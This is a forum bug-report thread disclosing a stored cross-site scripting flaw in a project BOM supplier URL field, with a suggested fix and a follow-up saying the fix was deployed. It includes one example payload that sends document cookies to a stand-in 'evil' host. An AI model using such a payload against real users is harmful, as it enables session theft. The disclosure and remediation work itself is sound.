Forums Bug Reports Thread

Stored XSS via javascript: URL in project BOM supplier_url (no scheme validation on write)

Patrick Bass · Jun 6 · 16 · 1 Locked
[Minor] [Normal Priority] [Bug Fixed] [Always Reproduces]
🚀 OP Jun 6, 2026 6:54pm

Area: Engagement (audit p9) · Surface: POST /projects/{slug}/bom/add → rendered on GET /projects/{slug}?tab=bom · Dimension: security · Severity: minor

A project owner can store a `javascript:` (or `data:`) URL in a BOM item's supplier URL; when another user views the project's BOM tab and clicks the 'Link', script executes in their session (OWASP A03: Injection / Stored XSS). Severity is minor because it requires a victim click and modern browsers block top-level javascript: navigation from many link contexts, but the inconsistency with addLink() (which validates) makes this a clear gap.

Evidence

ProjectController::addBomItem() stores the field with zero scheme validation: platform/src/Controllers/ProjectController.php:494 `'supplier_url' => trim($_POST['supplier_url'] ?? '') ?: null,`. It is later rendered into an href: templates/projects/show.php:284 `<a href="<?= $e($item['supplier_url']) ?>" target="_blank" rel="noopener" class="link">Link</a>`. $e() (htmlspecialchars) prevents attribute breakout but does NOT strip the `javascript:` scheme, so a stored value of `javascript:fetch('//evil/'+document.cookie)` renders as a clickable script URL. Contrast with project external links, which ARE validated: ProjectController::addLink() lines 1186-1191 reject any scheme outside http/https/mailto via UrlValidator::hasAllowedScheme(); the BOM path skips that check entirely.

Suggested fix. Apply the same validation addLink() uses before storing supplier_url: reject if `!filter_var($url, FILTER_VALIDATE_URL) || !\App\Services\UrlValidator::hasAllowedScheme($url, ['http','https'])` (or null it out). Optionally also defensively validate the scheme at render time in projects/show.php.

Filed by the automated tenant-app audit and adversarially evidence-verified. Status: verified. Open — not yet actioned.


Patrick Bass
@mobieus

🚀 Jun 7, 2026 5:44am

Resolved — fixed and deployed. Commit 059d6bf29b6f, shipped dev-first then to all tenants on 2026-06-06.

In addBomItem() the user-supplied supplier_url was stored raw (trim ?: null). Added the same validation addLink() uses: reject when !filter_var(FILTER_VALIDATE_URL) or !UrlValidator::hasAllowedScheme(url,['http','https']), nulling the value instead of aborting so the rest of the BOM item still saves. Prevents a javascript:/data: URL from being stored and rendered as an href on /projects/{slug}?tab=bom. php -l clean.

Status: fixed. Thread closed and locked.


Patrick Bass
@mobieus

Log in or register to reply to this thread.